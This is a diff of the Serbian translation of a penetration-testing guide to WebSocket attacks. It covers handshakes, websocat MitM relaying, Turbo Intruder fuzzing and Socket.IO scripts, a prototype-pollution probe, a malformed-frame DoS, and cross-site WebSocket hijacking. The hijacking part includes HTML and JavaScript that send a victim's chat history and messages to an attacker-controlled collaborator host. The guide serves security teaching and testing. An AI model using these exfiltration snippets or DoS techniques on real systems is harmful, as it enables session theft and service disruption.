- [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
|
||||||
@ -372,5 +381,8 @@ U [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC)
|
|||||||
- [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
- [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||||||
- [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
|
- [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
|
||||||
- [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)
|
- [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)
|
||||||
|
- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
|
||||||
|
- [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
|
||||||
|
- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
@ -1,22 +1,22 @@
|
|||||||
# WebSocket napadi
|
# WebSocket Napadi
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Šta su WebSocketi
|
## Šta su WebSockets
|
||||||
|
|
||||||
WebSocket veze se uspostavljaju kroz inicijalni **HTTP** handshake i dizajnirane su da budu **dugoročne**, omogućavajući dvosmerno slanje poruka u bilo kojem trenutku bez potrebe za transakcionim sistemom. Ovo čini WebSocket-e posebno korisnim za aplikacije koje zahtevaju **nisku latenciju ili komunikaciju iniciranu sa servera**, kao što su strimovi uživo finansijskih podataka.
|
WebSocket veze se uspostavljaju putem inicijalnog **HTTP** handshake-a i dizajnirane su da budu **dugotrajne**, omogućavajući dvosmerno razmenjivanje poruka u bilo kom trenutku bez potrebe za transakcionim sistemom. To čini WebSockets posebno pogodnim za aplikacije koje zahtevaju **nisku latenciju ili komunikaciju iniciranu od strane servera**, kao što su streamovi uživo finansijskih podataka.
|
||||||
|
|
||||||
### Uspostavljanje WebSocket veza
|
### Uspostavljanje WebSocket veza
|
||||||
|
|
||||||
Detaljno objašnjenje o uspostavljanju WebSocket veza može se pronaći [**ovde**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). Ukratko, WebSocket veze se obično iniciraju putem JavaScript-a na klijentskoj strani kao što je prikazano u nastavku:
|
Detaljno objašnjenje o uspostavljanju WebSocket veza može se pronaći [**ovde**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). Ukratko, WebSocket veze se obično iniciraju putem JavaScript-a na strani klijenta, kao što je prikazano ispod:
|
||||||
```javascript
|
```javascript
|
||||||
var ws = new WebSocket("wss://normal-website.com/ws")
|
var ws = new WebSocket("wss://normal-website.com/ws")
|
||||||
```
|
```
|
||||||
Protokol `wss` označava WebSocket vezu obezbeđenu sa **TLS**, dok `ws` označava **neobezbeđenu** vezu.
|
Protokol `wss` označava WebSocket konekciju osiguranu pomoću **TLS**, dok `ws` označava **nesigurnu** konekciju.
|
||||||
|
|
||||||
Tokom uspostavljanja veze, vrši se razmena poruka između pregledača i servera putem HTTP-a. Proces razmene uključuje slanje zahteva od strane pregledača i odgovor servera, kao što je prikazano u sledećim primerima:
|
Tokom uspostavljanja veze, handshake se obavlja između pregledača i servera preko HTTP-a. Proces handshake-a uključuje da pregledač pošalje zahtev, a server odgovori, kao što je prikazano u sledećim primerima:
|
||||||
|
|
||||||
Pregledač šalje zahtev za razmenu poruka:
|
Pregledač šalje handshake zahtev:
|
||||||
```javascript
|
```javascript
|
||||||
GET /chat HTTP/1.1
|
GET /chat HTTP/1.1
|
||||||
Host: normal-website.com
|
Host: normal-website.com
|
||||||
@ -26,27 +26,27 @@ Connection: keep-alive, Upgrade
|
|||||||
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
|
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
|
||||||
Upgrade: websocket
|
Upgrade: websocket
|
||||||
```
|
```
|
||||||
Odgovor serverovog rukovanja:
|
Odgovor servera na handshake:
|
||||||
```javascript
|
```javascript
|
||||||
HTTP/1.1 101 Switching Protocols
|
HTTP/1.1 101 Switching Protocols
|
||||||
Connection: Upgrade
|
Connection: Upgrade
|
||||||
Upgrade: websocket
|
Upgrade: websocket
|
||||||
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
||||||
```
|
```
|
||||||
Konekcija ostaje otvorena za razmenu poruka u oba pravca nakon uspostavljanja.
|
Veza ostaje otvorena za razmenu poruka u oba smera nakon uspostavljanja.
|
||||||
|
|
||||||
**Ključne tačke WebSocket rukovanja:**
|
**Ključne tačke WebSocket Handshake:**
|
||||||
|
|
||||||
- `Connection` i `Upgrade` zaglavlja signaliziraju inicijaciju WebSocket rukovanja.
|
- Zaglavlja `Connection` i `Upgrade` signalizuju početak WebSocket handshake-a.
|
||||||
- `Sec-WebSocket-Version` zaglavlje označava željenu verziju WebSocket protokola, obično `13`.
|
- Zaglavlje `Sec-WebSocket-Version` označava željenu verziju WebSocket protokola, obično `13`.
|
||||||
- Base64-enkodirana nasumična vrednost se šalje u `Sec-WebSocket-Key` zaglavlju, osiguravajući da je svako rukovanje jedinstveno, što pomaže u sprečavanju problema sa keširanim proxy-ima. Ova vrednost nije za autentifikaciju, već da potvrdi da odgovor nije generisan od strane pogrešno konfigurisanog servera ili keša.
|
- Nasumična vrednost kodirana u Base64 se šalje u zaglavlju `Sec-WebSocket-Key`, čime se osigurava da je svaki handshake jedinstven, što pomaže u sprečavanju problema sa caching proxy-ima. Ova vrednost nije za autentikaciju, već služi da potvrdi da odgovor nije generisan od strane nepravilno konfigurisanog servera ili cache-a.
|
||||||
- `Sec-WebSocket-Accept` zaglavlje u odgovoru servera je hash `Sec-WebSocket-Key`, verifikujući nameru servera da otvori WebSocket konekciju.
|
- Zaglavlje `Sec-WebSocket-Accept` u odgovoru servera je hash vrednost `Sec-WebSocket-Key`-a, verifikujući nameru servera da otvori WebSocket konekciju.
|
||||||
|
|
||||||
Ove karakteristike osiguravaju da je proces rukovanja siguran i pouzdan, otvarajući put za efikasnu komunikaciju u realnom vremenu.
|
Ove karakteristike osiguravaju da je WebSocket handshake siguran i pouzdan, otvarajući put za efikasnu komunikaciju u realnom vremenu.
|
||||||
|
|
||||||
### Linux konzola
|
### Linux konzola
|
||||||
|
|
||||||
Možete koristiti `websocat` za uspostavljanje sirove konekcije sa websocket-om.
|
Možete koristiti `websocat` za uspostavljanje raw konekcije sa `websocket`.
|
||||||
```bash
|
```bash
|
||||||
websocat --insecure wss://10.10.10.10:8000 -v
|
websocat --insecure wss://10.10.10.10:8000 -v
|
||||||
```
|
```
|
||||||
@ -54,60 +54,177 @@ Ili da kreirate websocat server:
|
|||||||
```bash
|
```bash
|
||||||
websocat -s 0.0.0.0:8000 #Listen in port 8000
|
websocat -s 0.0.0.0:8000 #Listen in port 8000
|
||||||
```
|
```
|
||||||
### MitM websocket veze
|
### MitM websocket konekcije
|
||||||
|
|
||||||
Ako otkrijete da su klijenti povezani na **HTTP websocket** iz vaše trenutne lokalne mreže, možete pokušati sa [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) da izvršite MitM napad između klijenta i servera.\
|
Ako otkrijete da su klijenti povezani na **HTTP websocket** sa vaše trenutne lokalne mreže, možete pokušati [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) da izvedete MitM attack između klijenta i servera.\
|
||||||
Kada se klijent pokuša povezati, možete koristiti:
|
Kada se klijent pokuša povezati s vama, možete zatim koristiti:
|
||||||
```bash
|
```bash
|
||||||
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||||||
```
|
```
|
||||||
### Websockets enumeracija
|
### Websockets enumeration
|
||||||
|
|
||||||
Možete koristiti **alat** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **da automatski otkrijete, identifikujete i pretražujete poznate** **ranjivosti** u websockets.
|
Možete koristiti **alat** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **za automatsko otkrivanje, fingerprint i pretragu poznatih** **ranjivosti** u websockets.
|
||||||
|
|
||||||
### Websocket Debug alati
|
### Websocket Debug alati
|
||||||
|
|
||||||
- **Burp Suite** podržava MitM websockets komunikaciju na vrlo sličan način kao što to radi za regularnu HTTP komunikaciju.
|
- **Burp Suite** podržava MitM websockets komunikaciju na vrlo sličan način kao i za regularnu HTTP komunikaciju.
|
||||||
- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite ekstenzija** će vam omogućiti bolje upravljanje Websocket komunikacijama u Burp-u dobijanjem **istorije**, postavljanjem **pravila za presretanje**, korišćenjem **pravila za podudaranje i zamenu**, korišćenjem **Intruder** i **AutoRepeater.**
|
- The [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite extension** će vam omogućiti bolje upravljanje Websocket komunikacijama u Burp-u: pregled **history**, podešavanje **interception rules**, korišćenje **match and replace** pravila, kao i **Intruder** i **AutoRepeater.**
|
||||||
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Skraćeno od "**WebSocket/Socket.io Proxy**", ovaj alat, napisan u Node.js, pruža korisnički interfejs za **hvatanje, presretanje, slanje prilagođenih** poruka i pregled svih WebSocket i Socket.IO komunikacija između klijenta i servera.
|
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Skraćeno od "**WebSocket/Socket.io Proxy**", ovaj alat, napisan u Node.js, pruža korisnički interfejs za **capture, intercept, send custom** poruke i pregled svih WebSocket i Socket.IO komunikacija između klijenta i servera.
|
||||||
- [**wsrepl**](https://github.com/doyensec/wsrepl) je **interaktivni websocket REPL** dizajniran posebno za penetraciono testiranje. Pruža interfejs za posmatranje **dolaznih websocket poruka i slanje novih**, sa jednostavnim okvirom za **automatizaciju** ove komunikacije.
|
- [**wsrepl**](https://github.com/doyensec/wsrepl) je **interactive websocket REPL** dizajniran posebno za penetration testing. Pruža interfejs za posmatranje **incoming websocket messages and sending new ones**, uz lako‑upotrebljiv okvir za **automating** ovu komunikaciju.
|
||||||
- [**https://websocketking.com/**](https://websocketking.com/) je **web za komunikaciju** sa drugim webovima koristeći **websockets**.
|
- [**https://websocketking.com/**](https://websocketking.com/) je **web za komunikaciju** sa drugim web aplikacijama koristeći **websockets**.
|
||||||
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) između ostalih tipova komunikacija/protokola, pruža **web za komunikaciju** sa drugim webovima koristeći **websockets.**
|
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) među ostalim tipovima komunikacija/protokola, pruža **web za komunikaciju** sa drugim web aplikacijama koristeći **websockets.**
|
||||||
|
|
||||||
## Dešifrovanje Websocket
|
## Decrypting Websocket
|
||||||
|
|
||||||
- [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript)
|
- [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript)
|
||||||
- [https://github.com/Anof-cyber/PyCript-WebSocket/](https://github.com/Anof-cyber/PyCript-WebSocket/)
|
- [https://github.com/Anof-cyber/PyCript-WebSocket/](https://github.com/Anof-cyber/PyCript-WebSocket/)
|
||||||
|
|
||||||
## Websocket Lab
|
## Websocket Lab
|
||||||
|
|
||||||
U [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) imate kod za pokretanje web-a koristeći websockets, a u [**ovom postu**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) možete pronaći objašnjenje.
|
U [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) imate kod za pokretanje web aplikacije koristeći websockets, a u [**this post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) možete pronaći objašnjenje.
|
||||||
|
|
||||||
## Websocket Fuzzing
|
## Websocket Fuzzing
|
||||||
|
|
||||||
Burp ekstenzija [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) sada omogućava fuzzing i WebSocket poruka. Možete pročitati više informacija o tome [**ovde**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner).
|
Burp ekstenzija [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) sada omogućava i fuzzing WebSocket poruka. Više informacija možete pročitati [**ovde**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner).
|
||||||
|
|
||||||
## Cross-site WebSocket otmica (CSWSH)
|
### WebSocket Turbo Intruder (Burp extension)
|
||||||
|
|
||||||
**Cross-site WebSocket otmica**, takođe poznata kao **cross-origin WebSocket otmica**, identifikovana je kao specifičan slučaj **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** koji utiče na WebSocket rukovanja. Ova ranjivost se javlja kada WebSocket rukovanja autentifikuju isključivo putem **HTTP kolačića** bez **CSRF tokena** ili sličnih bezbednosnih mera.
|
PortSwigger-ov WebSocket Turbo Intruder donosi Turbo Intruder–style Python scripting i high‑rate fuzzing na WebSockets. Instalirajte ga iz BApp Store ili iz izvora. Sadrži dve komponente:
|
||||||
|
|
||||||
Napadači mogu iskoristiti ovo tako što će hostovati **malicioznu web stranicu** koja inicira cross-site WebSocket vezu sa ranjivom aplikacijom. Kao rezultat, ova veza se tretira kao deo sesije žrtve sa aplikacijom, iskorišćavajući nedostatak CSRF zaštite u mehanizmu upravljanja sesijama.
|
- Turbo Intruder: high‑volume messaging to a single WS endpoint using custom engines.
|
||||||
|
- HTTP Middleware: exposes a local HTTP endpoint that forwards bodies as WS messages over a persistent connection, so any HTTP‑based scanner can probe WS backends.
|
||||||
|
|
||||||
Da bi ovaj napad uspeo, ovo su zahtevi:
|
Osnovni šablon skripte za fuzzing WS endpointa i filtriranje relevantnih odgovora:
|
||||||
|
```python
|
||||||
|
def queue_websockets(upgrade_request, message):
|
||||||
|
connection = websocket_connection.create(upgrade_request)
|
||||||
|
for i in range(10):
|
||||||
|
connection.queue(message, str(i))
|
||||||
|
|
||||||
- Websocket **autentifikacija mora biti zasnovana na kolačićima**
|
def handle_outgoing_message(websocket_message):
|
||||||
- Kolačić mora biti dostupan sa servera napadača (to obično znači **`SameSite=None`**) i da nema **Firefox Total Cookie Protection** omogućeno u Firefox-u i da nema **blokiranih kolačića trećih strana** u Chrome-u.
|
results_table.add(websocket_message)
|
||||||
- Websocket server ne sme proveravati poreklo veze (ili ovo mora biti zaobiđeno)
|
|
||||||
|
@MatchRegex(r'{\"user\":\"Hal Pline\"')
|
||||||
|
def handle_incoming_message(websocket_message):
|
||||||
|
results_table.add(websocket_message)
|
||||||
|
```
|
||||||
|
Koristite dekoratore kao što je `@MatchRegex(...)` da smanjite šum kada jedna poruka izazove više odgovora.
|
||||||
|
|
||||||
|
### Povezivanje WS preko HTTP-a (HTTP Middleware)
|
||||||
|
|
||||||
|
Omotajte stalnu WS konekciju i prosledite HTTP tela kao WS poruke za automatizovano testiranje pomoću HTTP skenera:
|
||||||
|
```python
|
||||||
|
def create_connection(upgrade_request):
|
||||||
|
connection = websocket_connection.create(upgrade_request)
|
||||||
|
return connection
|
||||||
|
|
||||||
|
@MatchRegex(r'{\"user\":\"You\"')
|
||||||
|
def handle_incoming_message(websocket_message):
|
||||||
|
results_table.add(websocket_message)
|
||||||
|
```
|
||||||
|
Zatim pošaljite HTTP lokalno; telo se prosleđuje kao WS poruka:
|
||||||
|
```http
|
||||||
|
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
|
||||||
|
Host: 127.0.0.1:9000
|
||||||
|
Content-Length: 16
|
||||||
|
|
||||||
|
{"message":"hi"}
|
||||||
|
```
|
||||||
|
Ovo vam omogućava da upravljate WS backend-ima dok filtrirate „zanimljive“ događaje (npr. SQLi errors, auth bypass, command injection behavior).
|
||||||
|
|
||||||
|
### Rukovanje Socket.IO (handshake, heartbeats, events)
|
||||||
|
|
||||||
|
Socket.IO dodaje sopstveni framing preko WS. Detektujte ga preko obaveznog query parametra `EIO` (npr. `EIO=4`). Održavajte sesiju živom pomoću Ping (`2`) i Pong (`3`) i započnite komunikaciju sa `"40"`, zatim emitujte događaje kao `42["message","hello"]`.
|
||||||
|
|
||||||
|
Primer za Intruder:
|
||||||
|
```python
|
||||||
|
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
|
||||||
|
|
||||||
|
def queue_websockets(upgrade_request, message):
|
||||||
|
connection = websocket_connection.create(
|
||||||
|
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
|
||||||
|
connection.queue('40')
|
||||||
|
connection.queue('42["message","hello"]')
|
||||||
|
|
||||||
|
@Pong("3")
|
||||||
|
def handle_outgoing_message(websocket_message):
|
||||||
|
results_table.add(websocket_message)
|
||||||
|
|
||||||
|
@PingPong("2", "3")
|
||||||
|
def handle_incoming_message(websocket_message):
|
||||||
|
results_table.add(websocket_message)
|
||||||
|
```
|
||||||
|
Varijanta HTTP adaptera:
|
||||||
|
```python
|
||||||
|
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
|
||||||
|
|
||||||
|
def create_connection(upgrade_request):
|
||||||
|
connection = websocket_connection.create(
|
||||||
|
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
|
||||||
|
connection.queue('40')
|
||||||
|
connection.decIn()
|
||||||
|
return connection
|
||||||
|
|
||||||
|
@Pong("3")
|
||||||
|
def handle_outgoing_message(websocket_message):
|
||||||
|
results_table.add(websocket_message)
|
||||||
|
|
||||||
|
@PingPong("2", "3")
|
||||||
|
def handle_incoming_message(websocket_message):
|
||||||
|
results_table.add(websocket_message)
|
||||||
|
```
|
||||||
|
### Otkrivanje prototype pollution na strani servera putem Socket.IO
|
||||||
|
|
||||||
|
Prateći PortSwigger-ovu bezbednu tehniku detekcije, pokušajte da zagađujete interne delove Express-a slanjem payload-a kao:
|
||||||
|
```json
|
||||||
|
{"__proto__":{"initialPacket":"Polluted"}}
|
||||||
|
```
|
||||||
|
Ako se pozdravi ili ponašanje promene (npr. echo sadrži "Polluted"), verovatno ste zagađivali server-side prototypes. Uticaj zavisi od reachable sinks; povežite sa gadgets u Node.js prototype pollution sekciji. Vidi:
|
||||||
|
|
||||||
|
- Proverite [NodeJS – __proto__ & prototype Pollution](deserialization/nodejs-proto-prototype-pollution/README.md) za sinks/gadgets i ideje za chaining.
|
||||||
|
|
||||||
|
### WebSocket race conditions with Turbo Intruder
|
||||||
|
|
||||||
|
Podrazumevani engine grupiše poruke preko jedne konekcije (dobar throughput, loše za race-ove). Koristite THREADED engine da spawn-ujete više WS konekcija i šaljete payloads paralelno kako biste izazvali logic races (double‑spend, token reuse, state desync). Počnite od example script i podešavajte concurrency u `config()`.
|
||||||
|
|
||||||
|
- Naučite metodologiju i alternative u [Race Condition](race-condition.md) (videti “RC in WebSockets”).
|
||||||
|
|
||||||
|
### WebSocket DoS: malformed frame “Ping of Death”
|
||||||
|
|
||||||
|
Kreirajte WS frame-ove čiji header deklariše ogromnu payload length ali bez tela. Neki WS serveri veruju length i pre‑alokiraju buffere; postavljanje vrednosti blizu `Integer.MAX_VALUE` može izazvati Out‑Of‑Memory i remote unauth DoS. Vidi example script.
|
||||||
|
|
||||||
|
### CLI and debugging
|
||||||
|
|
||||||
|
- Headless fuzzing: `java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>`
|
||||||
|
- Omogućite WS Logger da zabeležite i korelišete poruke koristeći internal IDs.
|
||||||
|
- Koristite `inc*`/`dec*` helper-e na `Connection` da podesite rukovanje message ID u kompleksnim adapterima.
|
||||||
|
- Dekoratori kao `@PingPong`/`@Pong` i helper-i poput `isInteresting()` smanjuju noise i održavaju sesije živim.
|
||||||
|
|
||||||
|
### Operational safety
|
||||||
|
|
||||||
|
WS fuzzing visokog rate-a može otvoriti mnogo konekcija i poslati hiljade poruka u sekundi. Malformed frame-ovi i visoki ritmovi mogu izazvati realan DoS. Koristite samo tamo gde je dozvoljeno.
|
||||||
|
|
||||||
|
## Cross-site WebSocket hijacking (CSWSH)
|
||||||
|
|
||||||
|
**Cross-site WebSocket hijacking**, takođe poznat kao **cross-origin WebSocket hijacking**, prepoznaje se kao specifičan slučaj **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** koji utiče na WebSocket handshakes. Ova ranjivost nastaje kada se WebSocket handshakes autentifikuju isključivo putem **HTTP cookies** bez **CSRF tokens** ili sličnih bezbednosnih mera.
|
||||||
|
|
||||||
|
Napadači mogu ovo iskoristiti hostovanjem **malicious web page** koja inicira cross-site WebSocket konekciju ka ranjivoj aplikaciji. Kao posledica, ta konekcija se tretira kao deo session-a žrtve u aplikaciji, iskorišćavajući nedostatak CSRF zaštite u mehanizmu rukovanja sesijama.
|
||||||
|
|
||||||
|
Da bi napad uspeo, potrebni su sledeći uslovi:
|
||||||
|
|
||||||
|
- websocket **authentication must be cookie based**
|
||||||
|
- cookie mora biti dostupan sa napadačevog servera (obično znači **`SameSite=None`**) i bez **Firefox Total Cookie Protection** uključenog u Firefox-u i bez **blocked third-party cookies** u Chrome-u.
|
||||||
|
- websocket server ne sme proveravati origin konekcije (ili to mora biti moguće zaobići)
|
||||||
|
|
||||||
Takođe:
|
Takođe:
|
||||||
|
|
||||||
- Ako je autentifikacija zasnovana na lokalnoj vezi (na localhost ili na lokalnu mrežu), napad **će biti moguć** jer nijedna trenutna zaštita to ne zabranjuje (proverite [više informacija ovde](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))
|
- Ako je autentifikacija zasnovana na lokalnoj konekciji (na localhost ili lokalnu mrežu) napad **će biti moguć** jer trenutno nema zaštite koja to zabranjuje (pogledajte [more info here](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))
|
||||||
|
|
||||||
### Jednostavan Napad
|
### Simple Attack
|
||||||
|
|
||||||
Imajte na umu da kada se **uspostavlja** **websocket** veza, **kolačić** se **šalje** serveru. **Server** može koristiti to da **poveže** svakog **specifičnog** **korisnika** sa njegovom **websocket** **sesijom zasnovanom na poslatom kolačiću**.
|
Obratite pažnju da se pri **establishing** **websocket** konekcije **cookie** **automatski šalje** serveru. Server može koristiti cookie da **poveže** svakog **pojedinačnog** **user-a** sa njegovom **websocket** **session** zasnovanom na poslatom cookie-ju.
|
||||||
|
|
||||||
Zatim, ako na **primer** **websocket** **server** **vrati istoriju razgovora** korisnika ako se pošalje poruka sa "**READY"**, tada će **jednostavan XSS** koji uspostavlja vezu (**kolačić** će biti **poslat** **automatski** da autorizuje korisnika žrtve) **slanjem** "**READY**" moći da **pribavi** istoriju **razgovora**.
|
Dakle, ako na primer websocket server vraća istoriju konverzacije korisnika ako stigne poruka sa "**READY**", onda će jednostavan XSS koji uspostavi konekciju (cookie će biti **automatski poslat** za autorizaciju žrtvinih kredencijala) i pošalje "**READY**" moći da **preuzme** istoriju te **konverzacije**.
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
websocket = new WebSocket('wss://your-websocket-URL')
|
websocket = new WebSocket('wss://your-websocket-URL')
|
||||||
@ -124,11 +241,11 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
|||||||
```
|
```
|
||||||
### Cross Origin + Cookie with a different subdomain
|
### Cross Origin + Cookie with a different subdomain
|
||||||
|
|
||||||
U ovom blog postu [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) napadač je uspeo da **izvrši proizvoljni Javascript u subdomeni** domena gde je komunikacija putem web socket-a bila u toku. Pošto je to bila **subdomena**, **kolačić** je bio **poslat**, a pošto **Websocket nije pravilno proveravao Origin**, bilo je moguće komunicirati s njom i **ukrasti tokene iz nje**.
|
In this blog post [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) napadač je uspeo da **izvrši proizvoljan Javascript u subdomainu** domena u kome se odvijala web socket komunikacija. Pošto je bila **subdomain**, **cookie** se **slala**, i pošto **Websocket nije pravilno proveravao Origin**, bilo je moguće komunicirati s njim i **ukrasti tokens**.
|
||||||
|
|
||||||
### Stealing data from user
|
### Krađa podataka od korisnika
|
||||||
|
|
||||||
Kopirajte web aplikaciju koju želite da imitirate (npr. .html fajlove) i unutar skripte gde se odvija komunikacija putem websocket-a dodajte ovaj kod:
|
Kopirajte web aplikaciju koju želite da imitirate (na primer .html fajlove) i unutar skripta gde se odvija websocket komunikacija dodajte ovaj kod:
|
||||||
```javascript
|
```javascript
|
||||||
//This is the script tag to load the websocket hooker
|
//This is the script tag to load the websocket hooker
|
||||||
;<script src="wsHook.js"></script>
|
;<script src="wsHook.js"></script>
|
||||||
@ -148,43 +265,51 @@ xhttp.send()
|
|||||||
return messageEvent
|
return messageEvent
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Sada preuzmite `wsHook.js` datoteku sa [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) i **sačuvajte je unutar fascikle sa web datotekama**.\
|
Sada preuzmite datoteku `wsHook.js` sa [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) i **sačuvajte je u folderu sa web fajlovima**.\
|
||||||
Izlaganjem web aplikacije i omogućavanjem korisniku da se poveže na nju, moći ćete da ukradete poslate i primljene poruke putem websocket-a:
|
Izlažući web aplikaciju i nateravši korisnika da se poveže na nju, moći ćete da ukradete poslate i primljene poruke putem websocket-a:
|
||||||
```javascript
|
```javascript
|
||||||
sudo python3 -m http.server 80
|
sudo python3 -m http.server 80
|
||||||
```
|
```
|
||||||
### CSWSH zaštite
|
### Zaštite protiv CSWSH
|
||||||
|
|
||||||
CSWSH napad se zasniva na činjenici da će se **korisnik povezati na zlonamernu stranicu** koja će **otvoriti websocket vezu** sa web stranicom na kojoj je korisnik već povezan i autentifikovati se kao on, jer će zahtev poslati korisnikove kolačiće.
|
CSWSH napad se zasniva na činjenici da će se **korisnik povezati na malicioznu stranicu** koja će **otvoriti websocket konekciju** prema web stranici na kojoj je korisnik već prijavljen i autentifikovaće se kao on, jer će zahtev poslati korisnikove cookies.
|
||||||
|
|
||||||
Danas je veoma lako sprečiti ovaj problem:
|
Danas je veoma lako sprečiti ovaj problem:
|
||||||
|
|
||||||
- **Provera porekla websocket servera**: Websocket server uvek treba da proveri odakle se korisnik povezuje kako bi sprečio neočekivane stranice da se povežu na njega.
|
- **Provera origin-a na Websocket serveru**: Websocket server treba uvek da proveri odakle se korisnik povezuje kako bi sprečio neočekivane stranice da se povežu.
|
||||||
- **Token za autentifikaciju**: Umesto da se autentifikacija zasniva na kolačiću, websocket veza bi mogla biti zasnovana na tokenu koji generiše server za korisnika nepoznatog napadaču (poput anti-CSRF tokena).
|
- **Authentication token**: Umesto oslanjanja na autentifikaciju baziranu na cookie-u, websocket konekcija može koristiti token koji je generisan od strane servera za korisnika i nepoznat napadaču (na primer anti-CSRF token)
|
||||||
- **SameSite atribut kolačića**: Kolačići sa `SameSite` vrednošću `Lax` ili `Strict` neće biti poslati sa stranice spoljnog napadača na server žrtve, stoga, autentifikacija zasnovana na kolačićima neće biti uspešna. Imajte na umu da Chrome sada postavlja vrednost **`Lax`** za kolačiće bez ovog oznake, čineći ovo sigurnijim po defaultu. Ipak, prva 2 minuta nakon što je kolačić kreiran, imaće vrednost **`None`**, što ga čini ranjivim tokom tog ograničenog vremenskog perioda (takođe se očekuje da će ova mera biti uklonjena u nekom trenutku).
|
- **SameSite Cookie attribute**: Cookies sa `SameSite` vrednošću `Lax` ili `Strict` neće biti poslati sa spoljne (napadačeve) stranice ka serverskoj strani žrtve, pa autentifikacija bazirana na cookie-ima neće uspeti. Napomena: Chrome sada podrazumevano postavlja vrednost **`Lax`** za cookies kojima ova zastavica nije eksplicitno postavljena, čime je bezbednije po defaultu. Međutim, prvih 2 minuta nakon kreiranja cookie će imati vrednost **`None`**, što ga čini ranjivim tokom tog ograničenog perioda (takođe se očekuje da će ova mera biti uklonjena u nekom trenutku).
|
||||||
- **Firefox Total Cookie Protection**: Total Cookie Protection funkcioniše tako što izoluje kolačiće na sajtu na kojem su kreirani. Suštinski, svaka stranica ima svoj sopstveni deo za skladištenje kolačića kako bi sprečila treće strane da povežu istoriju pretraživanja korisnika. Ovo čini **CSWSH neupotrebljivim** jer sajt napadača neće imati pristup kolačićima.
|
